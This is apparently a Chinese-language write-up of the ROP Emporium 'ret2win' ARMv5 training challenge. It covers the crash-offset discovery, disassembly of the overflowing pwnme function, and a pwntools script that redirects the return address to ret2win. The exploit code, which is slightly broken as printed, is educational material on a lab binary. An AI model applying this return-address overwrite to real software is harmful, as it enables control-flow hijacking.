ret2win_armv5
依赖：
sudo apt install qemu-arm-static gcc-arm-linux-gnueabi
信息收集
$ file ret2win_armv5
ret2win_armv5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=a82dade296415721f90684517d0e6259d4ba2905, not stripped
黑盒测试
$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ qemu-arm-static ret2win_armv5 < cyclic.txt
ret2win by ROP Emporium
ARMv5
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
$ gdb-multiarch ./ret2win_armv5 qemu_ret2win_armv5_20220506-214059_17303.core
...
#0 0x6161616a in ?? ()
$ cyclic -l 0x6161616a
36
反汇编
$ arm-linux-gnueabi-objdump -d ret2win_armv5
...
00010518 <main>:
...
1053c: ebffffa4 bl 103d4 <puts@plt>
10540: e59f0020 ldr r0, [pc, #32] ; 10568 <main+0x50>
10544: ebffffa2 bl 103d4 <puts@plt>
10548: eb000008 bl 10570 <pwnme>
...
00010570 <pwnme>:
10570: e92d4800 push {fp, lr}
10574: e28db004 add fp, sp, #4
10578: e24dd020 sub sp, sp, #32
1057c: e24b3024 sub r3, fp, #36 ; 0x24
10580: e3a02020 mov r2, #32
10584: e3a01000 mov r1, #0
10588: e1a00003 mov r0, r3
1058c: ebffff9f bl 10410 <memset@plt>
10590: e59f0040 ldr r0, [pc, #64] ; 105d8 <pwnme+0x68>
10594: ebffff8e bl 103d4 <puts@plt>
10598: e59f003c ldr r0, [pc, #60] ; 105dc <pwnme+0x6c>
1059c: ebffff8c bl 103d4 <puts@plt>
105a0: e59f0038 ldr r0, [pc, #56] ; 105e0 <pwnme+0x70>
105a4: ebffff8a bl 103d4 <puts@plt>
105a8: e59f0034 ldr r0, [pc, #52] ; 105e4 <pwnme+0x74>
105ac: ebffff82 bl 103bc <printf@plt>
105b0: e24b3024 sub r3, fp, #36 ; 0x24
105b4: e3a02038 mov r2, #56 ; 0x38
105b8: e1a01003 mov r1, r3
105bc: e3a00000 mov r0, #0
105c0: ebffff80 bl 103c8 <read@plt>
105c4: e59f001c ldr r0, [pc, #28] ; 105e8 <pwnme+0x78>
105c8: ebffff81 bl 103d4 <puts@plt>
105cc: e1a00000 nop ; (mov r0, r0)
105d0: e24bd004 sub sp, fp, #4
105d4: e8bd8800 pop {fp, pc}
105d8: 000106b0 .word 0x000106b0
105dc: 00010710 .word 0x00010710
105e0: 00010730 .word 0x00010730
105e4: 00010790 .word 0x00010790
105e8: 00010794 .word 0x00010794
...
000105ec <ret2win>:
105ec: e92d4800 push {fp, lr}
105f0: e28db004 add fp, sp, #4
105f4: e59f0010 ldr r0, [pc, #16] ; 1060c <ret2win+0x20>
105f8: ebffff75 bl 103d4 <puts@plt>
105fc: e59f000c ldr r0, [pc, #12] ; 10610 <ret2win+0x24>
10600: ebffff79 bl 103ec <system@plt>
10604: e1a00000 nop ; (mov r0, r0)
10608: e8bd8800 pop {fp, pc}
1060c: 000107a0 .word 0x000107a0
10610: 000107c0 .word 0x000107c0
Pwnme开头的PUSH {R11,LR}，是先入栈LR（返回地址），再入栈R11（相当于EBP）。add fp, sp, #4，这应该是FULL栈（栈指针指向当前顶部数据的地址）。缓冲区位于fp+36，和测试偏移一致。
Exp
from pwn import *
context.clear()
# context.log_level = 'debug'
program = "ret2win_armv5"
# context.binary(program)
context.arch = "arm"
context.endian = "little"
context.bits = 32
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio(program)
# p = gdb.debug(program, "b main")
# pause()
pRet2Win = 0x000105ec;
payload = bytes("A"*36)
payload += p32(pRet2Win)
io.recvuntil(">")
io.sendline(payload)
io.interactive()
